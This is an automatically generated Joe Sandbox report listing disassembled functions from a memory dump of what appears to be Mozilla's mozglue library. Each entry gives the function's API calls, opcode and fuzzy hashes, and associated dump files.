Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: fc726a273137b86b8ab0fade672156b760912f3f47d088eda357dd06f6d5ba34
Instruction ID: e354fefb44f53e29776c41137d324cb48b5e9d2e2f365cf68735668fe6a84e2d
Opcode Fuzzy Hash: fc726a273137b86b8ab0fade672156b760912f3f47d088eda357dd06f6d5ba34
Instruction Fuzzy Hash: 4D413971A08780DBD720CF29C58079AFBE5BFC9754F508A2EE8D887710DB70A845CB82

Function 6C5D0800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C61E7DC), ref: 6C5D0838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5D084C
EnterCriticalSection.KERNEL32(?), ref: 6C5D08AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5D08BD
LeaveCriticalSection.KERNEL32(6C61E7DC), ref: 6C5D08D5

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: b15bb87cfbbf09f08c0712cf19983cbfc57b7130886b32e08c2fc9d915f1d879
Instruction ID: 4c58f7a3f17ca6ed40947a4a99840df08808b2c4ca5b75cc945e98b051a45721
Opcode Fuzzy Hash: b15bb87cfbbf09f08c0712cf19983cbfc57b7130886b32e08c2fc9d915f1d879
Instruction Fuzzy Hash: 5F21BD31B053498BEB04CF6EDC89BAE7779AF85709F51052AD509A7F00DB31E8458BD8

Function 6C5ECCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C5DDA31,00100000,?,?,00000000,?), ref: 6C5ECDA4

Part of subcall function 6C5ACA10: malloc.MOZGLUE(?), ref: 6C5ACA26

Part of subcall function 6C5ED130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C5ECDBA,00100000,?,00000000,?,6C5DDA31,00100000,?,?,00000000,?), ref: 6C5ED158
Part of subcall function 6C5ED130: InitializeConditionVariable.KERNEL32(00000098,?,6C5ECDBA,00100000,?,00000000,?,6C5DDA31,00100000,?,?,00000000,?), ref: 6C5ED177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C5DDA31,00100000,?,?,00000000,?), ref: 6C5ECDC4

Part of subcall function 6C5E7480: ReleaseSRWLockExclusive.KERNEL32(?,6C5F15FC,?,?,?,?,6C5F15FC,?), ref: 6C5E74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C5DDA31,00100000,?,?,00000000,?), ref: 6C5ECECC

Part of subcall function 6C5ACA10: mozalloc_abort.MOZGLUE(?), ref: 6C5ACAA2

Part of subcall function 6C5DCB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C5ECEEA,?,?,?,?,00000000,?,6C5DDA31,00100000,?,?,00000000), ref: 6C5DCB57
Part of subcall function 6C5DCB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C5DCBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C5ECEEA,?,?), ref: 6C5DCBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C5DDA31,00100000,?,?,00000000,?), ref: 6C5ED058

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: c61361b025a2ae9baee03e7ff2d1ec9d4f9852585bdfdaba07ebd3e6626ffe13
Instruction ID: 60d5e0a454d8741c1043e23b4c439a015173a548ee5ed1a54447f9ceb8ee0cfc
Opcode Fuzzy Hash: c61361b025a2ae9baee03e7ff2d1ec9d4f9852585bdfdaba07ebd3e6626ffe13
Instruction Fuzzy Hash: B3D16E71A04B06DFD708CF28C980B99B7E1BF89308F05866DD9598B752EB31F965CB81

Function 6C5A1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5A17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C5A18EE
free.MOZGLUE(?), ref: 6C5A1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5A194C

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 3048f7f2cf4915ef55cf4febfbab39571ad671c19cd6c1cf3471012467b9363d
Instruction ID: dd1b38d3b87819e8c1c5ff63085c70051673f5e8622d0f8ebed0096205e981ba
Opcode Fuzzy Hash: 3048f7f2cf4915ef55cf4febfbab39571ad671c19cd6c1cf3471012467b9363d
Instruction Fuzzy Hash: B481AD70A11205DFCB08CFA9D8949AFBBB1FF89314F04456DE815AB754E730E846CBA2

Function 6C5B5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C5B5D40
EnterCriticalSection.KERNEL32(6C61F688), ref: 6C5B5D67
__aulldiv.LIBCMT ref: 6C5B5DB4
LeaveCriticalSection.KERNEL32(6C61F688), ref: 6C5B5DED

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 2102ba02985e5add49d0bcb73af7562bf0ed355732ecc91267f48ca0f9ebf5b2
Instruction ID: f3b41be0cb63ce90a946abf6a7c2fb6584c43de9afcc8fce886cb7b2d9c50527
Opcode Fuzzy Hash: 2102ba02985e5add49d0bcb73af7562bf0ed355732ecc91267f48ca0f9ebf5b2
Instruction Fuzzy Hash: 45518E71E002298FCF08CFADC8A5AAEBBB1FB85305F19861AD815B7B50C7706945CBD1

Function 6C59CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C59CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C59CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C59CF4E

Strings

0, xrefs: 6C59CF30

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 88cd394fe75efeab240f9489084f5aee713f9fba6462a27b423a74c486db6a49
Instruction ID: fec08cd9bc56f9e831f127153a868ff4560bc9b2889e6dbd2e0c8cc46e51d74f
Opcode Fuzzy Hash: 88cd394fe75efeab240f9489084f5aee713f9fba6462a27b423a74c486db6a49
Instruction Fuzzy Hash: 2F51F075A002568FCB05CF18C890AAABBA5EF99300F19859DD85A5F752D731FD06CBE0

Function 6C5F77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5F77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C5F7829

Part of subcall function 6C5CCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C5931A7), ref: 6C5CCC45
Part of subcall function 6C5CCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C5931A7), ref: 6C5CCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C5F789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5F78CF

Part of subcall function 6C594DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C594E5A
Part of subcall function 6C594DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C594E97

Part of subcall function 6C594290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5D3EBD,6C5D3EBD,00000000), ref: 6C5942A9

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: f05a194002901378dd335e4cd5b7b3578f7b9f7f778e53b44d1d51aba447883b
Instruction ID: b467c3266c5c3f260fc716874bb9c0d74a2436097be60755ff85fe8986056f62
Opcode Fuzzy Hash: f05a194002901378dd335e4cd5b7b3578f7b9f7f778e53b44d1d51aba447883b
Instruction Fuzzy Hash: 7841AE719047469FD304DF29C88056AFBF4FFCA254F204A2EE4A987641DB70D95ACB92

Function 6C5D6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5D82BC,?,?), ref: 6C5D649B

Part of subcall function 6C5ACA10: malloc.MOZGLUE(?), ref: 6C5ACA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5D64A9

Part of subcall function 6C5CFA80: GetCurrentThreadId.KERNEL32 ref: 6C5CFA8D
Part of subcall function 6C5CFA80: AcquireSRWLockExclusive.KERNEL32(6C61F448), ref: 6C5CFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5D653F
free.MOZGLUE(?), ref: 6C5D655A

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 0a6a7ddcc2fbb7b74d199ce96eddb9c5ea95b7f673e543c769f7fa67d7149dbf
Instruction ID: bb9edbfad7e3482dda0a1a82029cdf6cd44b98ab512afdf8a1a79f5326e16347
Opcode Fuzzy Hash: 0a6a7ddcc2fbb7b74d199ce96eddb9c5ea95b7f673e543c769f7fa67d7149dbf
Instruction Fuzzy Hash: A0318FB5A043059FDB04CF15D884A9EBBE4FF89314F40482EE85A97741DB34F919CB96

Function 6C5CFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C5ED019,?,?,?,?,?,00000000,?,6C5DDA31,00100000,?), ref: 6C5CFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C5ED019,?,?,?,?,?,00000000,?,6C5DDA31,00100000,?,?), ref: 6C5CFFF5
free.MOZGLUE(?,?,?,?,?,6C5ED019,?,?,?,?,?,00000000,?,6C5DDA31,00100000,?), ref: 6C5D001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C5ED019,?,?,?,?,?,00000000,?,6C5DDA31,00100000,?,?), ref: 6C5D002A

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 67aece285f2b74ec4f08ddf11e3c58eba866d9fb37e78912752ba09231a09ea5
Instruction ID: 90db3249a7178836c3a02e33e971f9c53c968c408ca306cc71bfe11ccc07c403
Opcode Fuzzy Hash: 67aece285f2b74ec4f08ddf11e3c58eba866d9fb37e78912752ba09231a09ea5
Instruction Fuzzy Hash: 6421C4B2B002155BC7089EBC9C948AEB7AAEBC53247250739E525E7780EA71AD0187A5

Function 6C5AB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5AB4F5
AcquireSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5AB502
ReleaseSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5AB542
free.MOZGLUE(?), ref: 6C5AB578

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 03864c9781935edf72b4bf644fb3e6c4f01832c4793a4d1bc8a5f4dd91e6da93
Instruction ID: e10e3eaea3ddf46964deb41cd0f49d3f31c82c13bbeb6e994fb2c1165afc7cfc
Opcode Fuzzy Hash: 03864c9781935edf72b4bf644fb3e6c4f01832c4793a4d1bc8a5f4dd91e6da93
Instruction Fuzzy Hash: 2F11AE30A04B45C7D712DF6BD840769B3B1FFDA319F10970AE84952E02EBB0A5C68795

Function 6C5D3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C59F20E,?), ref: 6C5D3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C59F20E,00000000,?), ref: 6C5D3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5D3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C5D3E0E

Part of subcall function 6C5CCC00: GetCurrentProcess.KERNEL32(?,?,6C5931A7), ref: 6C5CCC0D
Part of subcall function 6C5CCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5931A7), ref: 6C5CCC16

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 765ba308f05119e67295057df57303155e12bbfb3f7514fed5098388c3c65437
Instruction ID: b59e4e9491cdb76666235d9b85f95455351e583ee309faa401eda3fe7cf032e5
Opcode Fuzzy Hash: 765ba308f05119e67295057df57303155e12bbfb3f7514fed5098388c3c65437
Instruction Fuzzy Hash: 59F082B16002087FD700AB59DC82DAB373CDB86625F050021FD0957B40D735BD2586FB

Function 6C5E2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5E205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C5E201B,?,?,?,?,?,?,?,6C5E1F8F,?,?), ref: 6C5E2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5E208E
free.MOZGLUE(?,?,?,00000000,?,6C5E201B,?,?,?,?,?,?,?,6C5E1F8F,?,?), ref: 6C5E20A3

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: f32c64abd38daa970d9ce08bc1983d919d2abc88cabacd36817ee8826620264b
Instruction ID: b047628f20a13414875ccba762c6ca9935f9c1b7e1f6ba20cdec2de38099a8eb
Opcode Fuzzy Hash: f32c64abd38daa970d9ce08bc1983d919d2abc88cabacd36817ee8826620264b
Instruction Fuzzy Hash: F0F0B4B1100610DBC7118F1BDC8975BBBF8EFCA365F10011AE50687B10C771A906CB99

Function 6C5E85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5E85D3

Part of subcall function 6C5ACA10: malloc.MOZGLUE(?), ref: 6C5ACA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C5E8725

Strings

map/set<T> too long, xrefs: 6C5E8720

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: d20d841db32677e28442ac2c55a688f327b41f4ee3b6de5902f6bc8333fc4d83
Instruction ID: c742c1823397f1955bbd2c2543f81ad9607ab6f600ab0ed331d3a51b15a77de5
Opcode Fuzzy Hash: d20d841db32677e28442ac2c55a688f327b41f4ee3b6de5902f6bc8333fc4d83
Instruction Fuzzy Hash: 645153B4A00641CFD701CF19C984A5ABBF1BF9A318F18C69AD8595BB52C335E885CF92

Function 6C59BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C59BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C59BE8F

Strings

0, xrefs: 6C59BE5B

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: e814a435417dfb8184b933d5b6194da960bb3fb49b6121b625b60726bf1bbc4b
Instruction ID: d34e5487fd83ab05b58f9abc52751a385fb2c72dc61cc9833415b5049be6156e
Opcode Fuzzy Hash: e814a435417dfb8184b933d5b6194da960bb3fb49b6121b625b60726bf1bbc4b
Instruction Fuzzy Hash: 8541C371909785CFD711DF78C881A9BB7F8AFCA348F004A5DF985A7611D730D9588B82

Function 6C5D3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5D3D19
mozalloc_abort.MOZGLUE(?), ref: 6C5D3D6C

Strings

d, xrefs: 6C5D3D58

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 834ae5910f55f0865a950873034a923d7a5195453c909286f93063f1a59760d4
Instruction ID: 97ef5619fa4403ead95dcd9421719ad0fec4367af79912f8c0207ebbbd2146a8
Opcode Fuzzy Hash: 834ae5910f55f0865a950873034a923d7a5195453c909286f93063f1a59760d4
Instruction Fuzzy Hash: F311E635E04748DBDB009F6DCC554ADB775EF86354F458319D845A7A02EB30A584C798

Function 6C5A4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5A44B2,6C61E21C,6C61F7F8), ref: 6C5A473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5A474A

Strings

GetNtLoaderAPI, xrefs: 6C5A4744

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 974a38bace717b8f4314efd78d2b2e044333c4613cf3a96e8d56874f64be0d55
Instruction ID: b0cb5eb1b26c3e7a3e638eeb4b2dc315c1f979ca8a7e424287c624cabdde6925
Opcode Fuzzy Hash: 974a38bace717b8f4314efd78d2b2e044333c4613cf3a96e8d56874f64be0d55
Instruction Fuzzy Hash: 5B0196757042948FDF009FAB88D591D7BF9EB8B312F040066E905C7B00CB74D8028F95

Function 6C5F6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C5F6E22
__Init_thread_footer.LIBCMT ref: 6C5F6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C5F6E1D

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
